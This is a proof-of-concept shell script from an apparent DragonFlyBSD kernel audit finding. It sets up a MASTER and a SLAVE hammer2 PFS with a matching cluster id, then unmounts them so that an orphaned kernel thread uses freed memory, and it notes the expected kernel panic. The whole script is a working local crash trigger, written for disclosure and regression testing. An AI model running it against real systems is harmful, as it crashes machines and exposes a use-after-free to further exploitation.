โฌข DragonFlyBSD Kernel Audit
DF-0823 / trigger.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-0823 trigger: multi-chain hammer2 PFS umount UAF
#
# Creates a 2-chain hammer2 PFS (1 MASTER + 1 SLAVE), mounts both devices
# so the SLAVE chain joins the MASTER's PMP (nchains=2, pfs_nmasters=1),
# then unmounts.  hammer2_xop_helper_cleanup stops only MASTER-indexed
# threads (pfs_nmasters=1), kfree's xop_groups, leaving the SLAVE thread
# running on freed heap.  The orphan faults within seconds.
#
# Must run as root.  Hammer2 multi-chain PFS setup requires root.
#
# Usage: ./trigger.sh
# Expected on BUGGY kernel: kernel panic (fatal trap 12 page fault in
#   hammer2_primary_xops_thread) within ~10 seconds of the final umount.
# Expected on FIXED kernel: clean exit 0, guest stays up.

set -e

IMG_A=/tmp/h2a.img
IMG_B=/tmp/h2b.img
VN_A=vn0
VN_B=vn1
MNT_DATA_A=/mnt/h2a
MNT_DATA_B=/mnt/h2b
MNT_CLUSTER=/mnt/test
PFS_LABEL=testpfs
IMG_SIZE=256    # MB

cleanup() {
    umount -f ${MNT_CLUSTER}  2>/dev/null || true
    umount -f ${MNT_DATA_B}   2>/dev/null || true
    umount -f ${MNT_DATA_A}   2>/dev/null || true
    vnconfig -u ${VN_A} 2>/dev/null || true
    vnconfig -u ${VN_B} 2>/dev/null || true
    rm -f ${IMG_A} ${IMG_B}
}
trap cleanup EXIT

# --- 1. Create two vn-backed hammer2 images ---
echo "[*] Creating hammer2 images..."
dd if=/dev/zero of=${IMG_A} bs=1m count=${IMG_SIZE} 2>&1 | tail -1
dd if=/dev/zero of=${IMG_B} bs=1m count=${IMG_SIZE} 2>&1 | tail -1
vnconfig -c ${VN_A} ${IMG_A}
vnconfig -c ${VN_B} ${IMG_B}

echo "[*] newfs_hammer2 both devices..."
newfs_hammer2 /dev/${VN_A} 2>&1 | tail -1
newfs_hammer2 /dev/${VN_B} 2>&1 | tail -1

# --- 2. Create MASTER PFS on device A ---
mkdir -p ${MNT_DATA_A}
mount_hammer2 /dev/${VN_A}@DATA ${MNT_DATA_A}
echo "[*] Creating MASTER PFS '${PFS_LABEL}' on /dev/${VN_A}..."
hammer2 -s ${MNT_DATA_A} pfs-create ${PFS_LABEL} 2>&1

# Mount the MASTER PFS โ€” this creates the PMP with nchains=1
mkdir -p ${MNT_CLUSTER}
mount_hammer2 /dev/${VN_A}@${PFS_LABEL} ${MNT_CLUSTER}
echo "[*] MASTER PFS mounted at ${MNT_CLUSTER}"

# Get the clid of the MASTER PFS (use pfs-list on the mounted PFS)
CLID=$(hammer2 -s ${MNT_CLUSTER} pfs-list 2>&1 | grep "${PFS_LABEL}" | awk '{print $2}')
echo "[*] MASTER clid: ${CLID}"
if [ -z "${CLID}" ]; then
    echo "[!] Failed to extract clid โ€” aborting"
    exit 1
fi

# --- 3. Create SLAVE PFS on device B with matching clid ---
mkdir -p ${MNT_DATA_B}
mount_hammer2 /dev/${VN_B}@DATA ${MNT_DATA_B}
echo "[*] Creating SLAVE PFS '${PFS_LABEL}' on /dev/${VN_B} with matching clid..."
# Note: hammer2 options (-t, -u, -s) must come BEFORE the command
hammer2 -t slave -u ${CLID} -s ${MNT_DATA_B} pfs-create ${PFS_LABEL} 2>&1

# Verify the SLAVE PFS exists with matching clid (pfs-list, not info)
echo "[*] Device B PFS list:"
hammer2 -s ${MNT_DATA_B} pfs-list 2>&1 | grep "${PFS_LABEL}" || echo "(not shown in pfs-list yet)"

# At this point, mounting vn1@DATA triggered hammer2_update_pmps which found
# the SLAVE testpfs with matching clid and ADDED its chain to the existing
# PMP.  The cluster now has nchains=2 (MASTER+SLAVE), pfs_nmasters=1.

# Do some I/O on the cluster to ensure XOP threads are created
echo "[*] Triggering I/O to spin up XOP threads..."
ls -la ${MNT_CLUSTER}/ 2>&1 || true
echo "trigger" > ${MNT_CLUSTER}/testfile 2>&1 || true
sync

# --- 4. Unmount vn1@DATA โ€” SLAVE chain stays (mount_count > 0) ---
echo "[*] Unmounting device B @DATA (SLAVE chain stays in PMP)..."
umount ${MNT_DATA_B}

# --- 5. Unmount the cluster PFS โ€” THIS TRIGGERS THE BUG ---
# hammer2_xop_helper_cleanup iterates pfs_nmasters=1, stops thread[0] only.
# kfree(xop_groups) frees backing memory while thread[1] (SLAVE) survives.
# The orphan thread accesses freed heap โ†’ panic within seconds.
echo "[*] Unmounting cluster PFS (triggers cleanup loop mismatch)..."
echo "[*] BUG: cleanup stops thread[0] only, kfree's xop_groups, thread[1] orphaned"
umount ${MNT_CLUSTER}

echo "[!] Umount complete.  Waiting for orphan thread to access freed heap..."
echo "[!] On BUGGY kernel: expect fatal trap 12 page fault within ~10s."
sleep 15

echo "[*] Guest survived 15s post-umount โ€” no panic (FIXED kernel)."
exit 0